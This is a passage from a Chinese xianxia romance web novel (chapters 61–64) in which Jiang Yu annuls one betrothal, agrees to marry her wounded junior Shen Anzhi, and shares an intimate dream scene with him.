苍白着脸侧过头,目光沉沉又兴奋雀跃地定格在身畔之人,无声又贪婪地描摹她的容颜。 60-70 第61章 姜喻敏锐地察觉沈安之神色异样,疑惑侧眸,歪了歪头:“师弟去哪了?脸色瞧着不大好呢。” “初入风云城,新鲜得很,随意逛了逛……”沈安之侧过脸,唇角弯起,带着几分漫不经心,“不过是日头太毒罢了。” 她总觉得哪里不太对劲,若有所思地点了点头。 沈安之忽地低笑出声,像是被什么愉悦到了侧眸看她。见她一副懵懂又认真的侧颜,心尖似有羽毛搔过。 这般迟钝,倒也是种旁人学不来的可爱,若是说是神经大条,怎么不算是无可比拟的优点。 沈安之心头的那点阴郁都散了些许。 姜喻见他笑得莫名,还未来得及细问,两人已步入正厅。 颀长身影负手而立,听见轻盈地脚步声,那人缓缓回身。 宁贺辞的目光不动声色地落在姜喻身上,唇边漾开一抹温润如玉的笑意,却在眸光与沈安之相撞时,眼底似有暗流涌动。 “好久不见,姜姑娘。”宁贺辞嗓音清朗,带着恰到好处的暖意,眸色深了深,“未曾想,再会竟是此般情境。不过,这一次,你总该知晓我是何人了。” 姜喻听出他话中若有似无的深意,秀眉微挑,探究地扫了他一眼。 宁贺辞心头满是涩然,他很想告诉她,初见那日是在天乩城城楼下的惊鸿一瞥,耀眼夺目的绯红刻入心底,明媚又不张扬。 可惜客栈再见几次,她眼中并无他了,目光已被身畔少年悄然牵引走。 压下不甘地一笑,自怀中取出一枚温润的碧色玉佩。指尖眷恋地摩挲着上面纹路,垂眸凝视片刻,抬眸递还给她:“物归原主。你我婚约,就此作罢。” 姜喻伸手接过。 玉佩入手,她垂眸细看,“云岚”二字雕刻精细。想来,宁家掌舵人宁予安,当年确实是老爹亲近的故交。 姜喻落落大方一笑:“宁公子,婚约虽解,故交仍在。在天乩城数番相助,此番又风尘仆仆远道而来,府上已备好清净客房,不如稍作歇息吧。” 宁贺辞喉头微哽,“那就有劳姜姑娘了。” 见他们落定此事,沈安之心中巨石稍安了,强压下翻涌的反噬之痛,面上挂着温良笑意。极其自然地向前一步,牵起姜喻的手腕。 指尖温热触上腕骨肌肤,带着无声的宣告。眼风若有似无地扫过宁贺辞,像被安抚的猛兽慵懒展露爪牙,露出一隅护食的模样,隐秘的占有欲昭示于人前。 果然,见宁贺辞脚步一顿,身形微僵。沈安之侧眸,眉梢轻挑浅笑,眼底阴翳一扫而空,只剩下餍足。 众目睽睽之下了。 姜喻心头一跳,耳尖微烫,她哪晓得沈安之行径袒露,见管事和其他侍从尚在,指尖悄悄使力,轻轻扒下他紧扣的手指,侧身对宁贺辞道:“宁公子,请随我来,我送送你。” 说完不等沈安之反应,便示意管事引路,强作镇定地陪着宁贺辞一行向前。 她走在宁贺辞身侧半步,努力将脑中昨夜挥之不去的真切梦境场景压下,脸颊微热,刻意避开身侧那道如有实质的目光。 沈安之沉默地跟上,与姜喻并肩而行。 指尖尚还残留着腕骨的触感,空落落捻了捻指尖。眼看她眸光专注地为宁贺辞指点府邸景致,他眼底微光飞速一暗。 行至一处转角,沈安之忽地探出手,尾指带着不容她忽视的力道,似有若无地轻蹭过姜喻的尾指骨节,带着点磨人的痒意。 触感如羽毛拂过,姜喻心中微动,脚步一滞,侧眸撞进他深邃丹凤眸,压低声音问:“怎么了,师弟?” 沈安之微微倾身哼笑,却无半点笑意,声音压得极低,眸底暗光中的不悦几乎化作实质:“师姐看我,不准看他。” 姜喻呼吸微滞,又实在忍不住地弯唇,踮脚飞速在他耳畔小声道:“知道啦。” 送完宁贺辞一行在府邸安顿妥当,又在风云城最大的酒楼设下接风宴,待尘埃落定,窗外已是霜月高悬,清辉满地。 姜喻浅啜了一两杯果子酒,思绪不受控地飘回白日沈安之隐忍吃味的模样。 唇角不自觉弯起,踏出酒楼门槛时一个踉跄,险些被绊倒。 腰间蓦地一紧,沈安之及时揽住了她。 一旁管事见怪不怪,神色如常地安排车马送宁贺辞等人离去。 “师姐可还有力气走?” “嗯。”姜喻颊上漫开薄醉的浅红,站稳后故作镇定仰头望向天边月。 夜风拂过,吹散了几分酒意。 她想起一事,侧眸看向沈安之:“很晚了,枣卿说过,风云城近日不太平,有妖兽夜袭落单之人。” “师姐若是害怕抱紧我,可好?”沈安之压下嗓音,有意无意地诱哄着她能多靠近自己。 姜喻理直气壮地摇头哼笑,嘟囔道:“我如今,倒也不算太差。” 这话轻轻挠在沈安之心上。 他刻意遗忘姜喻体内流淌的半妖之血,却无法忽视她自有妖力傍身的事实。 一个念头悄然而至。 若他不够强,拿什么护她往后周全? “师姐的胆子,是越发大了。”沈安之眸底掠过难以捕捉的暗光,随即压下,“罢了,我先送你回去。” 他不敢赌,一丝一毫的风险也不敢。 体内反噬蠢蠢欲动,当务之急,是速速送她回府。 姜喻醉意地从储物袋里摸出枚红铃铛,轻轻一晃,阿赖的身影由虚化实,由小渐大,金褐色脑袋亲昵地蹭上姜喻的头,尾巴摇得飞快,将两人卷上自己背脊坐好。 “唤它出来,倒是个好主意。”沈安之顺势将姜喻拉进怀中。 姜喻寻了个舒服的姿势虚倚着他,酒意混着困倦上涌,眼皮沉沉:“师弟,好困啊。” 沈安之垂眸,目光描摹她的面颊,寸寸下移,落在沾着酒渍,润泽诱人的唇瓣。 他微低头,辗转吻去湿意,动作轻柔稳稳将人打横抱在怀里。 阿赖四蹄生风,几个起落落在姜府庭院内。 沈安之抱着姜喻步入内室,将她轻放在柔软的床榻上,掖好被角。昏黄灯影下,他凝视她沉睡的侧颜,眼底最后的微光被坚毅取代,无声带上门,大步离去。 翌日,晨光熹微。 门外杂沓的脚步声与惊呼声将她吵醒。 姜喻披衣起身,循声跟上大家前去,只见府邸大门外围拢着人群,议论纷纷。 “发生何事了?”姜喻踮脚好奇地问。 身旁的小丫鬟兴致勃勃道:“在风云城作乱的妖兽,被某个不知名修士诛杀了。” 姜喻凑近一点,定睛一瞧,妖兽当作“礼物”送到了姜府门口。兽尸颈项间赫然系着一条鲜艳的红丝带,被打扮成一个巨大的蝴蝶结。 她心头一跳,拨开人群,上前细看。 这蝴蝶结的系法,分明是沈安之当初心血来潮,她亲手教给他的。 昨夜他眼底那抹异样的神色…… 姜喻瞬间明了,转身朝沈安之的院落飞奔。 院门紧闭,急切地抬手拍打门扉,掌心拍得微微发红,又用力去推,门扉依旧纹丝不动。 一道结界将她隔绝在外。 “师弟!开门!”姜喻牙关紧咬,索性破罐子破摔,将妖力拧作一股撞向结界。 妖力与结界撕扯,额角青筋暴起,冷汗瞬间浸透姜喻的鬓发,顺着苍白的脸颊滚落,险些脱力地跪倒在地。 结界强行出现半人高缺口,她不敢有丝毫停顿,在众人察觉妖气异动的瞬间,她矮身钻了进去。 身后结界无声地弥合,仿佛从未存在过。 浓烈到令人窒息的血腥味,在姜喻推开院门的刹那扑面而来,呛得她鼻子发酸,引动了她体内躁动的妖力,险些失控。 姜喻咬破舌尖,舌尖血让她强忍出几分清明,冲入内院,映入眼帘的景象让她一怔。 沈安之面如金纸,倒在地面,身下是一片用血绘就的阵法。 姜喻指尖颤抖探向他鼻息,微弱的气息拂过。手忙脚乱地倒出身上所有能疗伤的丹药,一股脑儿塞进沈安之紧闭的唇齿。 他气息依旧微弱如风中残烛,毫无醒转迹象。 “难不成是反噬发作?”姜喻紧张地抿唇,撕开他的衣襟。果然,映入眼帘的是狰狞的旧疤下,诡异的红光不受控制地透出皮肉,如同活物般在皮肉下随心跳搏动。 且红光每一次闪烁,沈安之的生命气息便更弱一分。 姜喻死死盯着,抱着他的指尖掐进掌心。 “抑晦丹,我会炼出抑晦丹。”姜喻嗓音哽咽,“沈安之,你给我撑住,好不好?你要活着告诉我到底为了什么,连命都不要了也要去杀那妖兽?!” 话音一落,就在这时伴随“吱呀”一声,虚掩的大门被人急切地从外往里推开。 姜喻本能地凝聚妖力,杀意挥手欲击时,看清来人,身形瞬间僵住。 “老爹……” 门口站着的正是一脸焦灼又忧心的姜檀奚,“阿愉,发生何事了!” 她紧绷脊背一松,情绪土崩瓦解,豆大的泪珠瞬间从眼眶滚落, 如同断了线的珍珠,一颗颗砸落在沈安之手背。 姜喻哽咽地喊着:“他要死了,老爹……” 姜檀奚目光扫过地上气息奄奄的沈安之和他身下刺目的血阵,面色骤然凝重。 他取出姜喻那已破碎的护身木牌,指尖掐诀,白光自木牌中流转,一缕生气从梧桐木碎片内被艰难抽出。渡入沈安之心口,勉强吊住沈安之的生机。 姜喻见他似睡着一般,红着眼抬眸看向姜檀奚,带着哭腔,强迫自己冷静,语气却格外固执地重复着:“老爹,我要炼丹……我现在就要去炼丹救他。” “阿愉你要做什么便去做吧,丹房和这里之事我会处理,你的妖力,以后还得慎用。”姜檀奚眸光深深地看了一眼昏迷不醒的沈安之,扶起后将他平放床榻。 “好。”姜喻取下沈安之的储物袋攥在掌心,眸光一眨不眨地盯着苍白的面颊。 姜喻稍稍冷静下来,强迫自己咽下喉间翻涌的涩意,定下心神。 她只剩最后一次回溯的机会了。 若再失败,不仅她无法完成与原主的约定,沈安之就此死去,连一丝痕迹也无,如同从未存在过…… 光是想到这结局…… 姜喻闭上眼深吸一口气,强忍着眼角的酸意,牵紧他的手蜷缩片刻,才缓缓松开。 待姜檀奚的身影消失在门外,去处理结界,姜喻同样起身,大步流星回到书房。 时间悬在她头顶,姜喻在丹房落成后便一头扎了进去,昼夜不分。 接下来的日子,丹房成了她的战场。 无疑是从零开始,每一步都走得磕磕绊绊,丹炉起初被她炸裂的焦烟,呛得她泪流满面,药典翻得哗哗作响,散落一地。 不知熬过了几个昼夜,窗外天光熹微前。木门被人从外轻轻推开,挟着淡淡的药香,悄无声息地走进来。 姜喻脚步落地无声,生怕惊扰了床榻上沉睡的人。缓缓行至榻边坐下,只有趴在床沿紧盯沈安之的时候,她仿佛才能获得片刻的安宁。 浓重的倦意如同潮水袭来,纤长的眼睫沉重地垂下,姜喻支撑不住,趴伏着沉沉睡去。 青丝凌乱地垂落在锦被上,呼吸渐渐变得绵长而均匀。 白帐坠下,沈安之长睫几不可察地微颤,缓缓睁开眼,侧过头,目光落在姜喻沉睡的侧颜上。 昏暗烛光,能清晰看到姜喻紧闭的眼睑下残留的湿润痕迹。 无声叹息一口气,修长指尖抬起,指腹极其轻柔,缓缓捻过濡湿的眼尾,将湿痕悄然抹去。小心翼翼地收回手,生怕惊醒了她。 第62章 被他一点细微的响动惊醒,姜喻长睫颤动,迷蒙地睁开眼。 视线尚未完全聚焦,身体已先于意识做出反应,一把攥住了沈安之欲要稍退的手腕。 “师弟……?”姜喻含糊低唤,看清眼前人苍白却含笑的眉眼,混沌的思绪瞬间清明。唇角不受控制地向上弯起,惊喜点亮了眼眸,驱散了眼底大片倦意,“师弟,你醒了!” 沈安之哼笑一声,指尖在她眉心不轻不重地点了一下。亲昵的小动作分明牵动了胸口是剧痛,他呼吸一窒,额角渗出细密冷汗。 可痛楚仿佛点燃了沈安之眼底更深的愉悦,苍白的唇角越扬越高,裂开嘴角,笑得越发愉悦。 “师姐担心我啊,我很开心。”声音微哑,语气故意拉的很长,带着一丝餍足,“那便要一直担心我,仅担心我一个人,好不好?” 望进一双执拗微暗的眸,见他还有力气说笑打趣,姜喻心底的沉甸甸的伤感都消弭了不少。 她鼻尖微酸,脱口而出:“担心,快担心死了……” 说了不到一两句,她的眼眶先一步不争气地湿润。像是溺水之人抓住了唯一的浮木,将他那只微凉的手牢牢攥紧在自己掌心。 沈安之眸底的笑意,被她眼中认真与后怕灼得一愣。 她眼下是倦意的青影,再落到她紧握着自己的手上,那一双纤细素白的手竟布着几道未愈的旧伤。 这伤落在沈安之眼中,竟比反噬的痛楚还要尖锐百倍。 收敛眸底幽深翻涌,反手将姜喻的手捧在手心,指腹轻摩挲着伤痕的边缘。 沈安之声音陡然沉了下去,带着一种风雨欲来的平静:“怎么伤成这样?” 谁敢在风云城伤她,那便杀了…… “我自己。”姜喻抬起亮晶晶的眸,不好意思地一笑。 “嗯?”沈安之思绪微顿,指尖将她的小手攥得更牢,“为何伤的?” “我在学习炼丹,自然不可避免。”姜喻认真地看向他,哪怕沈安之微皱眉,面上神色不改,“我一定会炼得抑晦丹,不会让师弟等太久。” 沈安之心底有一股难以言喻的暖流划过,竟有一瞬不敢直视她清亮眸底,两道猝然燃起,灼热的光。 怕他再追问下去,姜喻抢先截住话头,直直望向沈安之:“那晚你宁可拼着反噬也要斩杀那妖兽,还特意用蝶扣缚它送到姜府大门……这是为何?” 沈安之静默一笑,眼尾下小小的朱砂痣妖冶,在昏黄烛火里格外醒目。 被他视线勾.得心尖莫名发颤,姜喻便瞪圆亮眸,想用眸光“逼他就范”。 沈安之眼神无声又贪婪地看着她。 ——他怎么一句话不说…… “师弟沉默,也不能当做无事发生。”姜喻忍不住倾身向前,急于知道答案。 沈安之眼底掠过得逞笑意,侧身避开她迫近的视线,舔了舔艰涩的唇瓣,喉结滚动。 在姜喻靠近的刹那,轻勾扣住她后脖颈,带着前所未有地柔,吻在她眉心。 更将她未出口的疑问一一堵了回去。 温热的呼吸拂过长睫,她整个人被沈安之圈在了臂弯方寸之间,揽着腰的手让她起身不可退。她生怕压到他胸口伤口,双手便撑在他颊侧。 “师姐想知道,吻我一口如何?”沈安之仰面望着她,漆黑的瞳仁将她身影牢牢摄取,病弱的姿态无声诱哄着她一点点垂头。 几缕青丝垂落在他脸颊。 痒,却远不及心中被姜喻那双亮眸,直勾勾瞧着自己来的痒。 她干咽一口唾沫,屏住呼吸看着近在咫尺的沈安之。 烛火中他苍白得仿佛一尊易碎的玉雕,长睫低垂,掩住眸底幽深,脆弱美感下,却隐隐透着令人心悸的沉静。 分明伤成这样,满脑子倒是不忘揶揄她…… 姜喻嘴唇嗫嚅了一下,垂头呼吸交缠一瞬,飞速亲在他的脸颊。 又怕沈安之继续得寸进尺,先开口追问:“这总要说了吧,师弟,再转移话题,我可就走了。” 沈安之哼笑着挑动眉梢,眼下好看朱砂痣,她心跳不免加速。 “聘礼。”沈安之一字一顿,手下微用力揽紧她的腰,生怕姜喻有一丝一毫的离开,指腹在她腰间耐心温柔地摩挲。 “却不是我唯一的诚意,你所在意的我都会护下。修仙界凡是你所爱,隔山海我亦寻来。我知师姐什么都不缺,可但凡能讨你一丝欢喜,哪怕是我的命,我也给你。” 姜喻下意识地捏紧锦被,呼吸微滞间他向上凑近脸颊,丹凤眸闪过希冀的微光,像极讨好她,收敛爪牙的猛兽在她身下,只求一丝怜惜。 “师姐,意下如何?” 姜喻眼神慌乱,心乱如麻,扣在她后脖颈的指腹沿着紧绷的线条缓缓游移,最终若有似无地流连过她的颊侧。 沈安之因隐秘期待而狂跳的心,那点因她靠近而燃起的微光,在她沉默中一点点沉下去,眸底微光寸寸湮灭,在彻底熄灭前,姜喻微微颔首。 小幅度动作惊得沈安之捧着她的脸颊,微微歪头,几度失语,“师姐,你确定吗?”怕她是一时兴起,沈安之语气低哑,眸光紧盯着姜喻。 “是,我确定。” 姜喻心中不断说服自己,她嫁给沈安之应该是算她攻略完成了。等抑晦丹一炼出,沈安之便会长长久久的活下去,脱离原著的活下去…… 修真界寿命很长的,沈安之哪怕不做最强者,可几百年后大抵也能成为修士中的佼佼者。 若做不到一个足够的好人,那就先活下去吧…… 沈安之坐起身将姜喻拥入怀中,垂下眸,目光一刻都不愿挪移出她的面容,将她全部神情尽收眼底,语气微颤,带着一丝小心翼翼: “师姐再说一遍?你会嫁给谁?” “沈安之。”姜喻仰面一笑,安抚着抱紧他。 沈安之被姜喻笑容晃得心神一荡,手臂收紧,将她更抱紧。下颌抵靠在她的颈窝,仿佛要将人揉进骨血。 怀中拥着的,是浮沉世间他仅剩的温暖与牵挂。 “师姐,我一刻都等不了。” 姜喻被他话语逗笑了,心底伤感悄然驱散,笑意格外明亮,定定望向他:“今日破晓我就去寻老爹说此事,沈安之,从今往后,这风云城便是你的家。” 她稍稍退开一点身形,指尖紧张地绞着袖口。 “好。”沈安之声音极轻,一点薄红掠过眼尾,心底像投入深潭的石子,掀起层层叠叠的波澜。 红尘辗转,从来无人与他言说“家”字何解。“家”字又轻又暖,却烫得他心尖发颤。 干涸腐烂的深潭,因她的音容笑貌,她所带来的一切,成了一点点蓄满他腐朽神经的甘泉。 姜喻得到他的肯定答案,暗自松了一口气。 沈安之,以后,风云城是你的后盾。哪怕是我不在情况,你更不会无人可依…… 姜喻敛眸一笑,小心避开他胸口的伤疤,扶着他胳膊让其重新躺下。 沈安之哪有半分睡意,蚀骨的反噬之痛于他不过寻常,幽邃的眼眸只盯在她身上。 从她微微颤动的睫羽,到她扶着臂弯的温软掌心,不肯错过分毫。 姜喻仔细掖好沈安之的被角,转身欲走。衣袖被力道攥住,她回头,撞进沈安之幽深含笑的眸。 “师姐,”他声音带着一丝不易察觉的喑哑,指尖在她袖口轻轻摩挲,“还会回来么?” “当然啦。”姜喻笑着说完,反手勾了勾他的指尖。 沈安之有意避开了勾缠的指尖,修长的手指转而点了点他苍白的脸颊,从喉间溢出轻哼,带着点病中的慵懒。 姜喻无奈笑着瘪了瘪嘴,顺着他的指腹位置,轻柔地落在他脸颊,“这总可以了吧?” “自然。”沈安之放开手,略带不安感的试探下,心中落定,指尖抽离时留恋地悬停一下。 直到她转身,沈安之目光依旧跟随那道离去的绯红背影。 室内,又仅剩下他一人。 沈安之闭上眼,扯唇散漫一笑,却忍不住叹气一口。 她不在,竟是这般安静。安静的,让他感到不适。 * 姜喻雀跃地去到姜檀奚书房,却见周围侍从被支走,她下意识悄悄接近门外,听见两道声音。 姜檀奚和管事提到了沈安之,姜喻下意识停顿驻足,用上隐匿符缓步立于门外。 “城主,此次作乱妖兽,沈公子顺利已击杀了,可他因此身受重伤,如今是否该依诺……” 姜檀奚拂袖起身,在室内缓慢踱步,思索良久,才叹息开口道:“沈小友实力算不到弱,家室一片空白,倒不怕他有机会欺负了我们阿愉。” “可他自小无依无靠,被破庙的疯乞丐养大,到了宗门后倒是惹上了不少麻烦。嗐,这性子到底凉薄了些……” 姜喻不知他要变卦什么,心下忍不住打鼓,似有所感,摘了隐匿符,轻敲响那扇微敞的门扉,“老爹……” 姜檀奚负手而立,侧眸看向门外的姜喻,嘴角挂上一丝慈爱的笑意:“阿愉,怎么来找爹爹了……” 大门被“吱呀”一声推开,姜喻大步流星踏入室内,径直走到姜檀奚案前站定,那双眼眸此刻灼灼如星,带着前所未有的清醒与坚定,定定望向他:“老爹,我的婚约,我自己定。” 姜檀奚笑意一顿,目光带着一丝认真审视:“阿愉心中,选了何人?” 姜喻挺直背脊,下颌微扬,斩钉截铁的声音在寂静的室内里格外清晰: “——我心悦沈安之。”她一字一顿,带着不容置喙的坚定,“我的婚约之人,非他不可。” 第63章 姜檀奚面上闪过难以捉摸地了然,他笑着战略性咳嗽一声,再问道:“阿愉,你当真想好了?婚盟缔结,非同儿戏,为父望你慎之又慎。” 他目光落在姜喻脸上,仿佛要穿透她的坚决看清什么。 “我确定,从未,如此确定。”姜喻嗓音掷地有声,话音落下,连她自己都微微一怔。 姜檀奚闻言,眼底闪过稍纵即逝的愕然,旋即扬起温厚笑意:“你这般模样,倒与为父当年如出一辙。” 他语气微顿,目光深邃,“唯愿你今日抉择,他日无悔。我的阿愉,眼光总不会错的。”信任中也藏着一丝难以言喻的复杂。 “多谢老爹!”姜喻眸光闪过惊喜的光彩,唇角扬起,带点小女儿的娇态,伸手轻轻拽了拽他的宽袖。 毫不掩饰的欢欣雀跃刚涌上心头,姜喻倏地一惊。 自己方才恨不得将自己嫁出去的模样未免急切了些,姜喻慌忙地抿了抿唇,将笑容收敛几分,脸颊却已悄然飞起薄红。 “傻丫头。”姜檀奚将她细微的羞赧尽收眼底,眼底笑意更深。 语气转为郑重,语重心长道:“这拜堂成亲,规矩讲究多着呢。上至良辰吉日,下至衣食住行,桩桩件件马虎不得。鹤门宗那边,更该早早知会。沈小友身世孤清,师门便是他的根脉所在……” 姜檀奚字字句句,皆是过来人的思量,事无巨细地铺陈开来。提及“身世孤清”时,他声音微不可查地一沉。 忆及当年他与云岚过于仓促的婚嫁,遗憾便如潮水般涌上,如何肯让掌上明珠再受半分委屈。 “一切全凭老爹为我操持可好?”姜喻一听颔首,是啊,哪有这般仓促的道理。 鹤门宗上下都该知晓,从今往后,无人敢轻视沈安之半分。 她仰起脸颊一笑,眼中是全然的信赖与期待。 “好,好!”姜檀奚笑着应下,垂眸看着阿愉信赖的眼神,心头软成一片。宽厚温暖的掌心带着无尽怜爱,轻轻揉了揉姜喻柔软的发顶。 “放心交给爹爹,定让我的阿愉风风光光,羡煞旁人。”目光触及她眼下淡淡的青影,语气转为心疼,“瞧你这满脸倦色,快些回去歇着,养足精神才好,炼丹再重要,不及身体重要。” 姜喻顿时感到一阵后劲般的疲惫感,揉了揉酸涩的眼角,笑着应答:“好,我这就去。” 望着她踏门而出,姜檀奚负手而立,踱步走到一侧,拧动烛台的暗格。 他定定地望向暗墙缓缓打开,挂着的一幅美人画映入眼帘。 画中美人倚着一棵绽满桃花的仙树,远方群山点缀闲云野鹤,端看眉眼张扬耀眼却透着几分神性。 一席红裙随意委地,举杯而饮。无论远看近看,画中仙子都美的惊心动魄。 姜檀奚眸底思念无声翻涌,最终化作小声叹息,指尖小心翼翼触碰画中人的脸颊,呢喃道:“云岚,我们的阿愉,真的长大了……” * 姜喻速回到丹房,这段时日她的吃住皆在此处。 拾掇完,她横躺在软榻睡上回笼觉,脑海不免浮现炼丹之事,意识却一点点沉沉地陷入无边黑暗。 不知多久。 昏暗中似有一簇微光频频闪烁,吸引着她缓步而去。 眼前红光陡然耀眼,她下意识抬手遮挡,再睁开眼,映入眼帘是她的房间,依旧不改的是一派喜色洋洋。 绯红帷幔坠地,风轻轻吹拂露出隐隐约约床榻之人。沈安之衣衫半褪,斜躺在床榻,姿态慵懒,眉眼带着一丝病弱的诱人。 肌肉精瘦,随着呼吸起伏,若隐若现的旧疤丝毫不影响他摄夺心神的容颜,和那眉眼无声的诱.惑。 似早已料定她入梦而来,对面之人漫不经心地侧眸,嘴角挂着散漫惯了的笑意,眸光溺宠又诱哄她多靠近一步。 姜喻一怔,她又不是没看过,却下意识地惊得转身,被一只早有准备的手轻轻地带入怀中。 炙热的吐息悉数落在她耳畔,惊得她耳垂痒的发酸,她身后紧贴着起伏的胸口,鼻翼处是熟悉的皂角香。 “来这里,还躲?”沈安之故意拖长尾音,如愿察觉到她不再动了。 “我只是觉得不合适,我怎么可以梦见你这 样……”姜喻越说越怪不好意思,脸颊透出浅粉,嗓音越说越小。 姜喻不想承认是她不敢多看,何况,她刚答应婚约,就梦见沈安之勾.引自己的画面,是不是说明她对沈安之也…… 不对劲啊。 太不对劲了…… 沈安之沉沉在她身后笼罩着她,温热的指腹扣住她的手腕,力道轻柔却带着禁锢的意味,慢条斯理地沿着她纤细的腕骨摩挲。 目光专注,仿佛在鉴赏稀世珍宝,修长手指流连,一寸寸抚过她葱白如玉的指尖,带着一种令人心悸,却危险又撩人的占有欲。 沈安之微掀起嘴角,姜喻背对着他视野受限,自然看不清他嘴角得逞地暗笑。 “不喜欢吗?”沈安之手臂收紧,揽紧她的细软腰肢,下颌从头轻搭靠在她颈窝,磨蹭时不经带来令人心悸的微痒。 姜喻赶紧摇头,心悸微动,脱口答:“没有不喜欢……” 沈安之手臂一揽,便将姜喻捞入怀中侧坐。 她瞳孔微缩,未尽的话语被他覆下的唇一一堵回去,只余下一点模糊的呜咽。 他温热的唇舌厮磨,辗转加深,却又不疾不徐,仿佛在品尝稀世珍馐。 待到姜喻气息微乱,沈安之才游刃有余地撤离那片温软,薄唇沿着她微烫的脸颊一路游移,最终停在敏感的耳垂,轻轻一吮,感受到怀中人细微的颤栗,低笑出声,温热吐息尽数拂过:“那便是喜欢了。” 姜喻僵在他怀里,耳垂红得滴血,连挣扎都忘了。 沈安之垂眸,轻声呢喃:“这是你心中所愿,我亦会实现。”说完最后一句,姜喻还未开口,又被他慢条斯理地夺走空气。 “沈……”姜喻气喘吁吁间,沈安之埋头在她脖颈,唇瓣染了水光,若有如无地轻蹭,卷着炙热的呼吸一同喷洒其上,最是磨人。 姜喻呼吸一紧,下意识地蜷缩脖颈,伸手去推沈安之的头。 沈安之绑着绯红发带,不经意地缠在她指尖。 姜喻微用力在一端轻扯,伴随簌簌声下,他的墨发应声而散,青丝与她的发丝便像远不分离的两股线,交缠错落在一起。 沈安之一点不气,反而微歪头享受地笑着。指尖一点点抚在她的腰线,不轻不重地拍了一下她后背。 “乖,先别动。我怕我,先忍不住……” 梦,怎么可以清晰的可怕! 姜喻呼吸一颤,乱动间有什么轻蹭了她一下她。她整个人脸颊“腾”一下红透,躲在他怀里,毛茸茸的发顶埋的极深,她再也不敢动了。 沈安之本是逗逗她一下,心底深处却太迫不及待,想要姜喻能接纳自己的全部。 ——可若是因此吓跑她怎么办…… 烛火摇曳的暗影下,沈安之绷紧下颚线,翻涌的眸色寸寸加深。喉结压抑地滚动,只余渐沉的气息荡开,层层加重,像困兽挣不出名为“欲望”的锁链。 可沈安之一垂眸,见香香软软的人儿羞涩地深埋在自己胸膛,指尖下意识捏紧他微敞的前襟,心底一下子变得柔软异常。 姜喻温热的呼吸不经意拂过沈安之起伏的胸膛,他紧绷了身形,牵引她的手按在胸膛上。 在姜喻睁眼瞳孔微颤的一瞬,引导她的指尖时有时无地向上轻触,游移往上搭落在锁骨后伸手,足以她的手能搭靠颈侧处。 沈安之隐忍着额头沁出薄汗,微哑嗓音,循循善诱:“抬眸?嗯?” 眼眸暗色化作柔色微光,姜喻小心地抬眸,手臂下意识地收紧,正好搂着沈安之的脖颈。 见他脸颊透出不正常的薄红,眸色渐沉,姜喻心悸微动,一刹那竟觉得有些渴意的轻舔唇角,咬了咬下唇。 她怎么可以像个鸵鸟,一紧张就把头埋着。埋着就算了,偏偏埋在沈安之起伏的胸膛…… 她微扬头,看着沈安之含笑的眼。 可话又说回来,她偷亲一下应该不过分吧。 “安之——”她轻颤着尾音,脸颊飞速透着酡红,温软快速啄在沈安之脸颊。 沈安之加重的呼吸陡然一乱,竟有些吃味。 她知不知道这是梦,梦里是他。若不是他,有人这样对她,她也会亲他嘛…… 顿时恼意又意乱情迷地轻吻在姜喻纤细脖颈,不给她反应的机会,吮吸出痕迹,烙下独属自己的印记。 姜喻痒的无意识地搂紧他的脖颈,两团柔软蹭的他难受极了。 他的指尖不轻不重地点落在她颈侧,在肌肤上的红痕打转游移。 姜喻秀眸微阖,下意识的战栗,抬起妍丽的眸子似嗔地瞪他,欲要挣扎:“沈安之……” “小愉儿怕痒?”鼻尖带着一丝安抚意味地轻蹭她鼻尖,眸光却藏着一簇窜起的暗火。 “怕痒。”姜喻浑然不觉,室内暗香浮动,她紧贴他时,微微拉扯露出锁骨下隐约的皮肤,娇嫩如一捧雪,没有一点瑕疵。 沈安之压抑着险些失控的心跳,眸光聚焦在她面颊。喉头溢出轻声的哼笑,眸光一点点微暗,吃味地抱紧她,执拗地追问:“我是谁?” “安之。”姜喻答的飞快,“还有问题吗?” 分明是他自己想要的答案,沈安之却难以自抑感到莫名的不爽。 心中欲.望躁动不安,眸光锁定在她脸上逡巡,他诱哄着:“还有一件重要的事情,我想再问你一遍,在你面前的到底是谁?” 第64章 见沈安之纠缠不休,姜喻心头掠过一丝异样。 一场幻梦虚影,这里的他,怎会有如此鲜活的心思与起伏的情绪? 倒与那真实的沈安之……如出一辙。 姜喻压下心底悄然滋生的异样感,面上依旧挂着带着安抚意味的笑,耐心重复:“你自然是沈安之,为何这般问?” “无事。” 烛火摇曳,她看不见的阴影处,沈安之眸底暗潮汹涌,喉间仿佛被浸了酸醋的棉絮死死堵住,这涩意一路蔓延,直抵心口。 他心中并不好受。 沈安之吸了口气,为了不在她面前不露出马脚,再抬首时唇边勾出一抹笑。 手扣在姜喻的后脑勺上,让她的额头抵着他的肩胛上。 这是一个安全至极的姿势拥着她。 心中的嫉妒、不甘在隐秘的欲念中强烈地翻涌,如潮水般涌来。 沈安之不想戳破这片没有痛苦,没有桎梏的梦境,他心中的声音叫嚣着,他在贪婪,在贪恋着,她在这里陪伴。 只有他们两个人。 除开这里,出去后她会这般吗…… 沈安之思绪微顿,终究化作无声的叹息。嘴唇翕动,想告诉她“自己从始至终是同一个人”,可看见她的亮眸却又不知怎么开口。 沈安之垂眸苦涩一笑。 若被姜喻瞧见此刻的自己,会气得鼓成团子,认定他是个不择手段、彻头彻尾的疯子吧? 他攥紧了指间那片属于她的,被揉皱的衣角,任由心底那头名为“占有”的凶兽嘶吼咆哮。 放手? 便是身堕无间,魂散黄泉碧落,他也绝不松手。 抱她的手越来越紧,姜喻不得不笑着轻拍了拍他的胳膊提醒,带了一丝试探性地问道:“你在想什么?” “……没什么。”沈安之垂眸靠在她颈窝,深吸一口气,按捺下心猿意马的意乱,只汲取她身上馨香气息,都能让他全身心安静下来,包括那时不时出现的心魔。 姜喻渐渐发觉,无论梦醒还是梦境,沈安之总带着一股不容挣脱的力道,将她牢牢圈锢在怀。 便如此刻。 两人身躯紧密相贴,再无一丝缝隙。沈安之灼热的呼吸拂过她颈侧。一种难以言喻的悸动自心口蔓延,姜喻清晰地感知到,这并非寻常亲昵,而是他沉默的表达—— 他将所有依赖与仅存的安全感,都毫不保留地系在了她身上。 姜喻眼睫微颤,唇角弯起,带着了然的笑意。 这个梦没有持续太久,沈安之静抱着她一会,姜喻半梦半醒地微阖上眼,一阵灼热的吐息压在她耳畔。 在梦境消失前,沈安之极轻地吻在的面颊,唇瓣微动,似乎呢喃着说了什么,但她没有听清,梦就醒了…… 晨光熹微,姜喻甫一睁眼,跑向了沈安之的厢房。 清俊的面容在帐幔后显得愈发苍白,仿佛一尊易碎的琉璃。 姜喻屏息等了半晌,指尖才敢轻触到他手腕,尚有温热。 她一点点握紧,无声哽咽,心渐渐沉下去。 